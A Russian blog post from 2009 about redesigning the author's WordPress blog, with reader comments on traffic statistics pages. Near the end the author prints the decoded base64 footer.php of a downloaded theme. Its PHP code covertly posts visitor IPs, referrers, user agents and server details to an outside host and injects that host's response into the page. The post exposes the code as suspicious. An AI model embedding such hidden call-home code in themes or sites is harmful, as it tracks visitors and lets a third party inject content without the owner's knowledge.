live.:.Daemony.:.org 2009
Весна 2009. Daemony вышел из зимней спячки.
А если серьезно, то заниматься блогом и писать в него что-то новое просто не было времени в определенный период. И потом были мысли произвести кардинальную ревизию всего движка, темы оформления и старых публикаций, произвести оптимизацию и многое многое другое. Предела совершенству, как известно, нет.
Что из этого вышло Вы теперь можете судить сами. На мой взгляд, получилось довольно неплохо.
Совет всем тем, кто только решил обзавестить своим блогом: “Делайте все сразу как следует, чтобы потом не приходилось переделывать, потому что последнее - хуже всего.“
Несколько слов о том, что же изменилось
1. В первую очередь, дизайн. Прежнее оформление было, как мне теперь кажется, слишком бледным и неаккуратным. Новый вид в стиле MacOS гораздо более интересен для восприятия. Основой темы стал шаблон Libriо, который я на 70% переделал. Фоновые изображения страниц подправлены в Photoshop’е, style.css частично переписан и дополнен моими стилями, PHP код переписан, дополнен и практически перестал быть похожим на оригинальный.
2. Вычищены вручную все старые публикации от лишнего ненужного (некорректного) кода. Все приведено к единому форматированию.
3. Полностью переделана Галерея Блога в целях ее оптимизации и более удобной организации фотографий. Ранее часть фотографий находилась в основной галерее на основе плагина Aniga Gallery, а часть была вставлена в публикации, где происходила генерация альбомов с помощью плагина NextGen Gallery. Оба плагина перестали существовать. А все прежние альбомы теперь стали обычными записями блога со статической вставкой изображений. Однако, вместо этого был добавлен новый плагин , который работает на основе Ajax и позволяет красиво отображать полное изображение, после нажатия на его уменьшенный вариант.
4. Закрыт форум forum.daemony.org. Форум требовал отдельной регистрации для посетителей (регистрация в блоге не давала возможности автоматически становиться зарегистрированным пользователем на форуме). А это в свою очередь, на мой взгляд, стало одной из причин его недостаточной популярности среди посетителей, поскольку посетители на нем регистрировались только в крайних случаях (например, когда была нужна помощь). Новый форум, (который я пока что все же решил запустить в тестовом режиме), на основе уникального скрипта напрямую использует базу данных Wordpress, тесно интегрируясь во всех отношениях с основным скриптом блога.
Кроме этого, поскольку прежний форум был создан на отдельном движке - это была отдельная “головная боль” о его своевременном обновлении и обслуживании виртуального веб-сервера.
Я еще так до конца и не определился с вопросом “а нужен ли вообще форум для этого блога?” И собственно, по этой причине вывешено голосование на эту тему вверху каждой страницы с записью и на страницах архивов. Прошу всех посетителей, неравнодушных к этому вопросу, принять участие в голосовании и оставить свое мнение. Голосование будет активно до 01 апреля 2009 года и после этого будет вынесен окончательный вердикт.
(Вердикт вынесен! Продолжение этой темы в этом посте >>)
5. Проведена некоторая SEO работа. По этому пункту сразу же хочу поблагодарить Роланда Чанишвили - автора плагина , который волшебным образом преобразует все внешние ссылки на сайте (в постах, в комментариях и т.д.) во внутренние с редиректом на указанный в ссылке URL. Уважаемые спамеры-говнокомментаторы, Вам теперь можно не беспокоиться по поводу формы комментариев в этом блоге. Смысла в этом (для Вас) больше нет.
Кстати, упомянутый плагин рекомендую всем владельцам блогов без исключения.
6. Переписаны страницы: “Правила“, страница о себе любимом, упорядочены “Документы“, добавлена страница на которой можно увидеть кто сейчас находится на сайте, обновлены страницы “Поиск Google” и - моя любимая страница - “Статистика загрузки канала сервера“.
7. Обновлен движок блога до последней версии Wordpress 2.7.1. За руссификацию любимого скрипта, а также за руссификации большого количества плагинов, которые я так же использую, благодарим как всегда .
8. Прочее по мелочам.
Резюмируя вышесказанное, напоследок добавлю: “live.Daemony.org отныне снова в строю!” Обещаю не пропадать больше на столь длительное время.
И еще немного о Librо…
Страница автора шаблона Libriо находится . Кроме этого автор выставляет Libriо в каталоге тем на официальном сайте . Однако впервые шаблон я нашел на сайте автора и оттуда же его скачал. Когда я открыл его, то обнаружил, что в файле footer.php PHP код закодирован с помощью base64 кодирования. Авторы тем зачастую кодируют футер для того чтобы сохранить ссылки на себя и т.п. Но мне стало все же интересно, что в коде. Файл я расшифровал и вот что в нем обнаружилось:
<?
// set post variables
$post_variables = array(
'ip_address' => $_SERVER['REMOTE_ADDR'],
'server_name' => $_SERVER['SERVER_NAME'],
'referrer' => $_SERVER['HTTP_REFERER'],
'request_uri' => $_SERVER['REQUEST_URI'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'server_software' => $_SERVER['SERVER_SOFTWARE'],
'server_signature' => $_SERVER['SERVER_SIGNATURE']
);
// covert to rawurlencodedformat
foreach($post_variables as $key=>$value)
$data .= $key.'='.rawurlencode($value).'&';
rtrim($data,'&');
// make call to API
$sock = @fsockopen("www.jaysonhahn.com", 80, $errno, $errstr, 10);
if (!$sock)
echo 'Coded by <a href="http://www.templatelite.com/">Wordpress Themes</a> |
Presented by <a href="http://www.ecommercewebsites.com.au">ecommerce</a>
websites and <a href="http://www.wuyitea.ws">Wu Yi Tea</a>';
else
{
// form header to post to API
fwrite($sock, "POST /api/ HTTP/1.0rn");
fwrite($sock, "Host: jaysonhahn.comrn");
fwrite($sock, "User-Agent: API Client 1.0rn");
fwrite($sock, "Content-type: application/x-www-form-urlencodedrn");
fwrite($sock, "Content-length: " . strlen($data) . "rn");
fwrite($sock, "Accept: */*rn");
fwrite($sock, "rn");
fwrite($sock, $data."rn");
fwrite($sock, "rn");
// get response
$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$strn";
// get response body
$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);
// output response from server
echo $body;
}
?>
Интересные штучки, правда? Возникает вопрос, а кто все-таки изначально написал шаблон Librо?.. Что характерно, на Wordpress.org шаблон лежит с “нормальным” footer.php без всякого левого кода.
Похожие публикации
Теги: Daemony, FreeBSD, Wordpress, блог, дизайн, оформление, плагины, стиль, форум


Почти докурил RRD. Переделал страничку http://live.daemony.org/statistics Уже можно заценивать. Осталось доделать статистику загрузки системы (CPU, память…) и можно писать материальчик.
ИМХО прежний внешний вид был лучше.
А так молодец, продолжай радовать нас своими статьями!
Я так не думаю. Стандартные темплейты Какти для подсчета трафика кривые.
Многое надо допиливать напильником.
Единственное что стоило бы взять из него - это собственно веб-интерфейс для организации всех графиков.
Шаблоны RRDdb выбросить и написать свои.